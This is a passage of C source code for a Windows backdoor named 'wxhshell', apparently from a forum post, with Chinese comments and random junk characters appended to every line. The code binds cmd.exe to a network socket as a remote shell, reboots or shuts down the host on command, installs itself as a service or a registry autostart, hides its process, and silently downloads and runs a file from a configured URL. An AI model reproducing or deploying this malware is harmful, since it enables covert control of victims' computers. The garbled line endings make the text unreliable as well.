  } =O/v]B8"  
  else { *C);IdhK%y  
Tb:6IC7="  
    switch(cmd[0]) { Pcjrv:0$  
  R`J.vMT  
  // 帮助 IISdC(5  
  case '?': { GG`j9"t4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _+j#.o>  
    break; E!RlH3})  
  } 99tUw'w  
  // 安装 ix hF,F  
  case 'i': { =9h!K:,k  
    if(Install()) 6 w'))Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); klAvi%^jE  
    else '|<r[K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /}/GK|tj  
    break; QHxof7  
    } H$V`,=H  
  // 卸载 0|<9eD\I=  
  case 'r': { vb| d  
    if(Uninstall()) b<%c ]z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wecxx^vtv6  
    else S5kD|kJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lMl'+ yy  
    break; "G^TA:O:=  
    } |/ji'Bh  
  // 显示 wxhshell 所在路径 t3AmXx  
  case 'p': { 18Vn[}]"  
    char svExeFile[MAX_PATH]; 6L;]5)#  
    strcpy(svExeFile,"\n\r"); *aJO5&w<T  
      strcat(svExeFile,ExeFile);  |e<$  
        send(wsh,svExeFile,strlen(svExeFile),0); 9 p,O>I  
    break; (_]!}N  
    } ;b (ww{&  
  // 重启 (*b<IGi;  
  case 'b': { I$R1#s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :dQRrmM  
    if(Boot(REBOOT)) P4zwTEk`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^f57qc3nF  
    else { [mQdc?n\  
    closesocket(wsh); /~Bs5f.]?  
    ExitThread(0); MsZx 0]  
    } $o0.oY#  
    break; N/'8W9#6  
    } peHjKK  
  // 关机 ^?wR{q"8  
  case 'd': { M.xZU\'ty  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KnKf8c  
    if(Boot(SHUTDOWN)) bT6VxbNS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eY-h<K)y  
    else { R={#V8D~  
    closesocket(wsh); 6$0<&')Yb  
    ExitThread(0); Ex Q\qp3  
    } 4*L* "vKa  
    break; fC 3T\@(&  
    } `x=$n5= 8  
  // 获取shell  !^8X71W|  
  case 's': { Dw.I<fns^B  
    CmdShell(wsh); 5F!Qn\{u{  
    closesocket(wsh); `*elzW  
    ExitThread(0); ak-agH  
    break; [2YPV\=  
  } 8;L;R ~Q  
  // 退出 &CcW(-  
  case 'x': { ]Y-Y.&b7t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |N^"?bSt  
    CloseIt(wsh); _n/73Oh  
    break; C\joDAD  
    } g ?xD*3 <  
  // 离开 4U_+NC>b  
  case 'q': { :<mJRsDf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F+GX{e7E\  
    closesocket(wsh); /G|v.#2/g  
    WSACleanup(); yXoNfsv  
    exit(1); FZW`ADq]  
    break; VdGVEDwz  
        } K a& 2>F  
  } PO8Z2"WI  
  } Z#B}#*<C  
; o Y|~  
  // 提示信息 |d&C<O;f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ,vO\n^  
} 7#d:TXS  
  } wJ pb$;  
/a<UKh:A[  
  return; U<Tv<7`  
} [*Ai@:F  
?AD- n6  
// shell模块句柄 0j;ZPqEf3  
int CmdShell(SOCKET sock) (# mvDz  
{ E N%{ $  
STARTUPINFO si; ;Ce?f=4  
ZeroMemory(&si,sizeof(si)); e[?,'Mp9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h]L.6G|hEN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;ne`ppz0  
PROCESS_INFORMATION ProcessInfo; k*n~&y:O  
char cmdline[]="cmd"; <F(S_w62  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zs{7km  
  return 0; vBOY[>=  
} !'~Ldl  
/8Y8-&K0  
// 自身启动模式 FZn1$_Svr  
int StartFromService(void)  ?ueL'4Mm  
{ ]hS<"=oj  
typedef struct ||Owdw|{  
{ ?P-O4  
  DWORD ExitStatus; e"wz b< b  
  DWORD PebBaseAddress; <" nWGF4d  
  DWORD AffinityMask; b r Iz8]  
  DWORD BasePriority; Q,JH/X  
  ULONG UniqueProcessId; U3z23LgA  
  ULONG InheritedFromUniqueProcessId; Y JMs9X~3  
}   PROCESS_BASIC_INFORMATION; bL`\l!qQx;  
Exqz$'(W9  
PROCNTQSIP NtQueryInformationProcess; 7%EIn9P  
ZzNHEV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M9A1 8d|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .B- b51Uz  
Q-V8=.  
  HANDLE             hProcess; _AFje  
  PROCESS_BASIC_INFORMATION pbi; = g &  
xT_"` @  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %hN>o)  
  if(NULL == hInst ) return 0; P7b"(G%  
vD9\i*\2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >qB`0 3>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); | n)4APX\Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F<4 :P=  
yna!L@ *@,  
  if (!NtQueryInformationProcess) return 0; ,hu@V\SKv  
HZ%V>88  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bR) P-9rs  
  if(!hProcess) return 0; u&1M(~Ub=  
i8k} B o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fMFkA(Of^  
&"JC8  
  CloseHandle(hProcess); yQUrHxm  
jvsSP?]n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Zs79,*o+0M  
if(hProcess==NULL) return 0; ~dEo^vJD  
-k7b# +T  
HMODULE hMod; &_-=(rK  
char procName[255]; 5I2 h(Td  
unsigned long cbNeeded; '%t$m f!nV  
%;ED} X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HBR/" m  
Z2m^yRQ(  
  CloseHandle(hProcess); 8)eRm{  
U ->vk{v  
if(strstr(procName,"services")) return 1; // 以服务启动 APF`b  
8v2Wi.4T  
  return 0; // 注册表启动 P8ej9ULX,  
} @}H'2V  
MYvz%7  
// 主模块 t2{(ETV  
int StartWxhshell(LPSTR lpCmdLine) -e(<Jd_=  
{ -s2)!Iko&  
  SOCKET wsl; jd ;)8^7K  
BOOL val=TRUE; Qc-W2%  
  int port=0; l<uI-RX "  
  struct sockaddr_in door; Uz,P^\8^$  
Jj [3rt?8  
  if(wscfg.ws_autoins) Install(); Mn/  
!PGCoI  
port=atoi(lpCmdLine); { CR`~)v&  
,"`3N2!Y}  
if(port<=0) port=wscfg.ws_port; \mGb|aF8  
 *\xRNgEQ  
  WSADATA data; ]~dB| WB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9 c9$cnQ  
xjU0&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hz;SDaBA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Od;k}u6;<  
  door.sin_family = AF_INET; @w==*.x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *(q{k%/M  
  door.sin_port = htons(port); 5OGwOZAj52  
hs;|,r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d7b`X<=@s  
closesocket(wsl); 0 fT*O  
return 1; y~#5!:Be  
} rU"AO}6\@  
.O0eSp|e  
  if(listen(wsl,2) == INVALID_SOCKET) { j -o  
closesocket(wsl); KYB3n85 1  
return 1; eyDI>7W  
} hr.mzQd  
  Wxhshell(wsl); .aa7*e  
  WSACleanup(); DL~! ^fx  
 lY`WEu  
return 0; "~=}&  
T<7}IH$6xE  
} bt=D<YZk  
_?{KTgJG  
// 以NT服务方式启动 ` k I}p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lmoYQFkYP  
{ `O3#/1+  
DWORD   status = 0; Om:Gun\%  
  DWORD   specificError = 0xfffffff; 1iR\M4?Frf  
#Qz 9{1\G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; av(qV$2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7eM6 B#rI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EMH-[EBx  
  serviceStatus.dwWin32ExitCode     = 0; EiM\`"o  
  serviceStatus.dwServiceSpecificExitCode = 0; ~8k`~t!  
  serviceStatus.dwCheckPoint       = 0; 6I=d0m.io  
  serviceStatus.dwWaitHint       = 0; gPK O-Fsd"  
mL}Wan  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Iu~(SKr=|$  
  if (hServiceStatusHandle==0) return; u_ :gqvC=  
9} C(M?d  
status = GetLastError(); L)|hjpQ  
  if (status!=NO_ERROR) Gv)*[7  
{ T`v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hZ<FCY,/?  
    serviceStatus.dwCheckPoint       = 0; %:l\Vhhz  
    serviceStatus.dwWaitHint       = 0; C&d,|e "\  
    serviceStatus.dwWin32ExitCode     = status; r7U[QTM%  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8_D:#i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^|rzqXW  
    return; ri"=)]  
  } 4yxf/X)  
yP@#1KLa+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YL;*%XmAG  
  serviceStatus.dwCheckPoint       = 0; =}0>S3a.7  
  serviceStatus.dwWaitHint       = 0; @&G %cW(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P6^\*xkMr  
} ='eQh\T)  
wjID*s[  
// 处理NT服务事件,比如:启动、停止 9WoTo ,q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2+(SR.oGq  
{ fEK%)Z:0  
switch(fdwControl) =1B;<aZH!  
{ "wV7PSbM  
case SERVICE_CONTROL_STOP: W7V#G(cpU  
  serviceStatus.dwWin32ExitCode = 0; "[L+LPET  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =%FhY^-  
  serviceStatus.dwCheckPoint   = 0; _3KfY  
  serviceStatus.dwWaitHint     = 0; IU}g[O Cu  
  { ]tK<[8Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MGKSaP;x  
  } g( eA?  
  return; w~9Y=|YI7  
case SERVICE_CONTROL_PAUSE: [9CBTS r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4%jSqT@  
  break; Z79Y$d>G<E  
case SERVICE_CONTROL_CONTINUE: %. IW H9P7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |oOA;JC)(  
  break; pi*?fUg!W  
case SERVICE_CONTROL_INTERROGATE: F*B^#AZg  
  break; G"<} s mB  
}; ~|wh/]{b9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xdf;'|HO  
} ''EFh&F  
J]*?_>"#8  
// 标准应用程序主函数 ;ahI}}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JHVesX  
{ olDzmy(=W*  
9qJ:h-?M  
// 获取操作系统版本 &ujq6~#  
OsIsNt=GetOsVer(); )!`>Q|]}Zd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /EM=!@ka  
5=_))v<Tp  
  // 从命令行安装 LCpS}L;  
  if(strpbrk(lpCmdLine,"iI")) Install(); ? i|LO  
5m6I:s`pK  
  // 下载执行文件 s)~H_,  
if(wscfg.ws_downexe) { /$ueLa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  D z>7.'3  
  WinExec(wscfg.ws_filenam,SW_HIDE); +JFE\>O  
} $xj>j  
euh rEjwkH  
if(!OsIsNt) { \"=@uqar2  
// 如果时win9x,隐藏进程并且设置为注册表启动 `Yu4h+T  
HideProc(); 8bEii1EM  
StartWxhshell(lpCmdLine); { r8H5X  
} ]:]w+N%7  
else <m?/yRE K2  
  if(StartFromService()) dy0xz5N-  
  // 以服务方式启动 uchz<z1  
  StartServiceCtrlDispatcher(DispatchTable); ?m.Ry  
else ,#=;V"~9  
  // 普通方式启动 UazUr=| e  
  StartWxhshell(lpCmdLine); <Dp[F|r  
Nf{tC9l  
return 0; bcprhb  
}
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只看该作者 1 发表于: 2006-10-10
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